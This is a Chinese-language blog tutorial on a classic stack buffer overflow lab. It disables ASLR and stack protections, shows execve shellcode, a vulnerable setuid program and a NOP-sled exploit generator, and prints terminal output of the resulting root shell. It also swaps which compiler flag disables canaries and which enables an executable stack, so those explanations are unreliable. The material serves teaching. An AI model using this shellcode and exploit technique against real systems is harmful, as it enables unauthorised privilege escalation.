MENU

利用缓冲区溢出获取root权限

April 17, 2019 • Read: 318 • 网络安全阅读设置

1. 准备工作

1.1 关闭地址随机化

damocles@damocles-Parallels-Virtual-Platform:~$ id
uid=1000(damocles) gid=1000(damocles) groups=1000(damocles),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
# 首先切换到root权限
damocles@damocles-Parallels-Virtual-Platform:~$ sudo su
[sudo] password for damocles: 
root@damocles-Parallels-Virtual-Platform:/home/damocles# id
uid=0(root) gid=0(root) groups=0(root)

# 确认地址随机化是否被打开 2表示打开状态
root@damocles-Parallels-Virtual-Platform:/home/damocles# cat /proc/sys/kernel/randomize_va_space 
2
# 关闭地址随机化
root@damocles-Parallels-Virtual-Platform:/home/damocles# echo 0 > /proc/sys/kernel/randomize_va_space
root@damocles-Parallels-Virtual-Platform:/home/damocles# cat /proc/sys/kernel/randomize_va_space 
0
# 发现已经为0,表示地址随机化已经被关闭

1.2 关闭栈溢出保护

编译的时候加上指令-z execstack 关闭金丝雀(canary)技术

gcc -g hello.c -o hello -z execstack

1.3 关闭栈不可执行

编译的时候加上-fno-stack-protector

gcc -g hello.c -o hello -z execstack -fno-stack-protector

1.4 一个简单的shell代码

#include<stdio.h>
#include<unistd.h>
int main() {
  execve("/bin/sh", NULL, NULL);
  return 0;
}

函数定义

int execve(const char filename, char const argv[ ], char *const envp[ ]);

返回值

执行成功无返回值,执行失败返回-1.

函数说明

execve()用来执行参数filename字符串所代表的文件路径

第二个参数是利用数组指针来传递给执行文件,并且需要以空指针(NULL)结束

最后一个参数则为传递给执行文件的新环境变量数组。

上面代码使用的绝对路径/bin/sh不需要环境变量,如果使用相对路径则最后一个参数要指定环境变量

# 编译上述shell代码
root@damocles-Parallels-Virtual-Platform:/home/damocles/buffer-overflow# gcc hello.c -z execstack -fno-stack-protector
root@damocles-Parallels-Virtual-Platform:/home/damocles/buffer-overflow# ls
a.out  hello.c

shellcode就是运行如下的shell:

# 执行文件就相当于执行力命令行'/bin/sh'
root@damocles-Parallels-Virtual-Platform:/home/damocles/buffer-overflow# ./a.out 
# whoami
root
# 

# 等同于进入/bin下执行./.sh
root@damocles-Parallels-Virtual-Platform:/home/damocles/buffer-overflow# cd /bin/
root@damocles-Parallels-Virtual-Platform:/bin# ./sh
# whoami
root
# 

2. shellcode

const char code[] =
  "\x31\xc0"             /* xorl    %eax,%eax              */
  "\x50"                 /* pushl   %eax                   */
  "\x68""//sh"           /* pushl   $0x68732f2f            */
  "\x68""/bin"           /* pushl   $0x6e69622f            */
  "\x89\xe3"             /* movl    %esp,%ebx              */
  "\x50"                 /* pushl   %eax                   */
  "\x53"                 /* pushl   %ebx                   */
  "\x89\xe1"             /* movl    %esp,%ecx              */
  "\x99"                 /* cdq                            */
  "\xb0\x0b"             /* movb    $0x0b,%al              */
  "\xcd\x80"             /* int     $0x80                  */
;

2.1 shellcode如何运行

shellcode分析

栈空间的图解 — 来源ailx10

2.2 一个有缓冲区漏洞的程序

/* stack.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

// 有漏洞的缓冲区
int bof(char *str)
{
    char buffer[24];
    strcpy(buffer, str);
    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

2.3 利用漏洞获取root权限

下面创建一个exploit.c来创建一个badfile文件

/* exploit.c  */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// 弹出一个shell
char shellcode[]=
    "\x31\xc0"
    "\x50"
    "\x68""//sh"           
    "\x68""/bin"
    "\x89\xe3"
    "\x50"
    "\x53"
    "\x89\xe1"
    "\x99"
    "\xb0\x0b"
    "\xcd\x80"
;
// movl esp 到 eax中
// 函数返回值都是通过eax返回的,所以函数会返回esp指针也就是栈指针的值
// 栈指针指向栈顶
unsigned long get_sp()
{
    __asm__("movl %esp,%eax");
}

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
      // The NOP instruction does nothing. Execution continues with the next instruction
    memset(&buffer, 0x90, 517);

    long* addr_ptr,addr;
    int offset = 200;
  
    addr = get_sp() + offset;
    addr_ptr = (long*)buffer;
    // 32位系统 指针addr_ptr占4个字节,即以4个字节为单位移动
    for(int i = 0;i<10;i++)
        *(addr_ptr++) = addr;
    memcpy(buffer+sizeof(buffer)-sizeof(shellcode),
    shellcode,sizeof(shellcode));

    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

利用漏洞执行shellcode — 来源ailx10

执行漏洞代码:

# 非root下生成badfile
damocles@damocles-Parallels-Virtual-Platform:~/buffer-overflow$ gcc exploit.c -std=c99
damocles@damocles-Parallels-Virtual-Platform:~/buffer-overflow$ ls
a.out  exploit.c
damocles@damocles-Parallels-Virtual-Platform:~/buffer-overflow$ ./a.out
damocles@damocles-Parallels-Virtual-Platform:~/buffer-overflow$ ls
a.out  badfile  exploit.c
damocles@damocles-Parallels-Virtual-Platform:~/buffer-overflow$ cat badfile
������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS�ᙰ
            
damocles@damocles-Parallels-Virtual-Platform:~/buffer-overflow$ sudo su
root@damocles-Parallels-Virtual-Platform:/home/damocles/buffer-overflow# gcc -o stack -z execstack -fno-stack-protector stack.c
# chmod +s:在文件执行时把进程的属主或组ID置为该文件的文件属主。
root@damocles-Parallels-Virtual-Platform:/home/damocles/buffer-overflow# chmod +s stack
root@damocles-Parallels-Virtual-Platform:/home/damocles/buffer-overflow# exit
exit
# 回到非root权限下,执行有漏洞的stack,可以看到
damocles@damocles-Parallels-Virtual-Platform:~/buffer-overflow$ ./stack
# ps
  PID TTY          TIME CMD
24883 pts/2    00:00:00 sh
24890 pts/2    00:00:00 ps
# whoami
root
# 

来源

[1] ailx10的缓冲区溢出攻防

Last Modified: September 23, 2019
Archives QR Code
QR Code for this page
Tipping QR Code